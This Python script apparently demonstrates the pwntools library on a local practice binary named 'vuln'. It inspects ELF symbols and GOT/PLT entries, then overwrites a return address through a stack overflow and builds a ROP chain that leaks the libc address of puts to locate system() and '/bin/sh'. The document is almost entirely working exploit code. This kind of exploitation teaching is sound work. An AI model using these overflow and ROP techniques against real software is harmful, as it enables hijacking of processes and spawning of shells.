#!/usr/bin/env python

"""
Highlight pwntools (https://github.com/Gallopsled/pwntools) functionality on
multiple executables.
"""

from pwn import *

# Change to 'debug' for extensive information on classes used.
context.log_level = 'info'


"""
Do ELF inspection.
"""

e = ELF("vuln")

# Set context according to binary.
context.binary = "vuln"

# Print ELF class/instance attributes.
log.debug("ELF class members: {:s}".format(dir(ELF)))
log.debug("ELF instance attributes: {:s}".format(e.__dict__))

# Print local function address.
log.info("main at 0x{:0x}, diablo at 0x{:0x}".format(e.symbols["main"], e.symbols["diablo"]))

# Print global variable address, offset and value.
g_address = e.symbols["g"]
g_offset = e.vaddr_to_offset(g_address)
g_value = unpack(e.read(g_address, 8))
log.info("g at 0x{:0x}, offset is 0x{:0x} value: 0x{:0x}".format(g_address, g_offset, g_value))

# Print addresses of GOT and PLT entries.
log.info("puts@plt at 0x{:0x}, puts.got at 0x{:0x}".format(e.plt["puts"], e.got["puts"]))


"""
Do overflow and alter execution flow.
"""

# Offset to return address was computed using get_offset.py.
offset = 72

# Create payload to overwrite return address with address of warcraft().
payload = cyclic(offset)
payload += pack(e.symbols["warcraft"])

# Start process
io = process("vuln")

# Read banner information and send payload.
io.recvline()       # Read "hello, blizzard!" banner.
io.sendline(payload)

# Read "gimme message: ..." prompt + payload. The prompt isn't flushed
# by the time we send the payload, so we read it here, together with the
# payload.
io.recvline()

# Receive reply. It should be the message outputted by warcraft().
reply = io.recv()
log.info("vuln said: {}".format(reply))
io.close()


"""
Do ROP based leak of puts() and compute address of system() and "/bin/sh".
"""

# Offset to return address was computed using get_offset.py.
offset = 72

# We want to call puts@plt(puts.got) to leak puts libc address. On a x86_64
# system the first argument (puts.got) needs to be placed in RDI, so we use a
# "pop rdi; ret" gadget.
rop = ROP("vuln")
rop.raw(rop.find_gadget(["pop rdi", "ret"]).address)
rop.raw(e.got["puts"])
rop.raw(e.plt["puts"])

# Create payload to overwrite return address with address of warcraft().
payload = cyclic(offset)
payload += rop.chain()

# Start process
io = process("vuln")

# Read banner information and send payload.
io.recvline()       # Read "hello, blizzard!" banner.
io.sendline(payload)

# Read "gimme message: ..." prompt + payload. The prompt isn't flushed
# by the time we send the payload, so we read it here, together with the
# payload.
io.recvline()

# Receive reply. It will be the address of the puts libc address.
reply = io.recv().strip()
io.close()

# We use 'all' when unpacking: leaked address isn't using 8 bytes (64 bits)
# since leading zeroes are not printed.
puts_address = unpack(reply, 'all')
log.info("puts address is: 0x{:0x}".format(puts_address))

# Open libc and find out offset of puts(). Compute base address of libc in
# process address space and then compute address of system() and "/bin/sh".
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = puts_address - libc.symbols["puts"]
system_address = libc.symbols["system"]
bin_sh_address = next(libc.search("/bin/sh\x00"))
log.info("system address is: 0x{:0x}, '/bin/sh' address is: 0x{:0x}".format(system_address, bin_sh_address))
